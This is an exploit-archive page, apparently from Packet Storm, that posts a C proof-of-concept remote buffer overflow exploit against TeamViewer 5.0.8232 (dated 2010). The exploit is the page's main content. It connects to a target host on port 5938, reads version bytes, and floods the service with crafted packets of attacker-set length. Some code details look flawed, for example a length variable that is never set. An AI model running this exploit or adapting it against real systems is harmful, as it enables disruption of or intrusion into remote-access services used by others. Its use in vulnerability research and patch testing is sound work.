what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

TeamViewer 5.0.8232 Buffer Overflow

TeamViewer 5.0.8232 Buffer Overflow
Posted May 19, 2010
Authored by fl0 fl0w

TeamViewer version 5.0.8232 remote buffer overflow proof of concept exploit.

tags | exploit, remote, overflow, proof of concept
SHA-256 | eb3b4275204e3eb34a3eee73ff80bc30dc6a1ff82440af7000f547ec3b909b22

TeamViewer 5.0.8232 Buffer Overflow

Change Mirror Download
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>

#define ALOC(tip,n) (tip*)malloc(sizeof(tip)*n)
#define POCNAME "[*]TeamViewer 5.0.8232 remote BOF poc(0day)"
#define AUTHOR "[*]fl0 fl0w"

typedef int i32;
typedef char i8;
typedef short i16;
enum {
True=1,
False=0,
Error=-1
};
struct linger ling = {1,1};
i8* host;
i16 port;
i32 ver1,ver2,slen;
void syntax(){
i8 *help[]={"\t-h hostname",
"\t-p port(default 5938)",
};
i32 i;
size_t com=sizeof help / sizeof help[0];
for(i=0;i<com;i++){
printf("%s\n",help[i]);
}
}
i32 arguments(i32 argc,i8** argv){
i32 i;
argc--;
for(i=1;i<argc;i++){
switch(argv[i][1]){
case'h':
host=argv[++i];
break;
case'p':
port=atoi(argv[++i]);
break;
default:{
printf("error with argument nr %d:(%s)\n",i,argv[i]);
return Error;
exit(0);
}
}
}
}
i32 main(i32 argc,i8** argv){
if(argc<2){
printf("%s\n%s\n",POCNAME,AUTHOR);
printf("\tToo few arguments\n syntax is:\n");
syntax();
exit(0);
}
arguments(argc,argv);
i32 sok,i,
svcon,
sokaddr;

i8 *sendbytes=ALOC(i8,32768),
*recevbytes=ALOC(i8,5548);
printf("[*]Starting \n \t...\n");
struct sockaddr_in sockaddr_sok;
sokaddr = sizeof(sockaddr_sok);
sockaddr_sok.sin_family = AF_INET;
sockaddr_sok.sin_addr.s_addr = inet_addr(host);
sockaddr_sok.sin_port = htons(port);
sok=socket(AF_INET,SOCK_STREAM,0);
if(sok==-1){
printf("[*]FAILED SOCKET\n");
exit(0);
}
if(svcon=connect(sok,(struct sockaddr*)&sockaddr_sok,sokaddr)<0){
printf("Error with connection\n");
shutdown(sok,1);
exit(0);
}
if(setsockopt(sok, SOL_SOCKET, SO_LINGER, (i8*)&ling, sizeof(ling))<0){
printf("Error setting the socket\n");
shutdown(sok,1);
exit(0);
}
if(recv(sok,&ver1,1,0)!=1)
exit(0);
if(recv(sok, &ver2,1,0)!=1)
exit(0);
memset(sendbytes,0,250);
recv(sok,recevbytes,sizeof(recevbytes),0);
for(i=0;;i++) {
if(!(i & 15)) printf("%d\r", i);
sendbytes[0] = ver1;
sendbytes[1] = ver2;
sendbytes[2] = (i & 1) ? 15 : 21;
*(i16 *)(sendbytes + 3) = slen;
if(send(sok, sendbytes, 5, 0) != 5) break;

if(slen) {
memset(sendbytes, i, slen);
if(send(sok, sendbytes, slen, 0) != slen) break;
}
}
shutdown(sok,1);
return 0;
}
Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close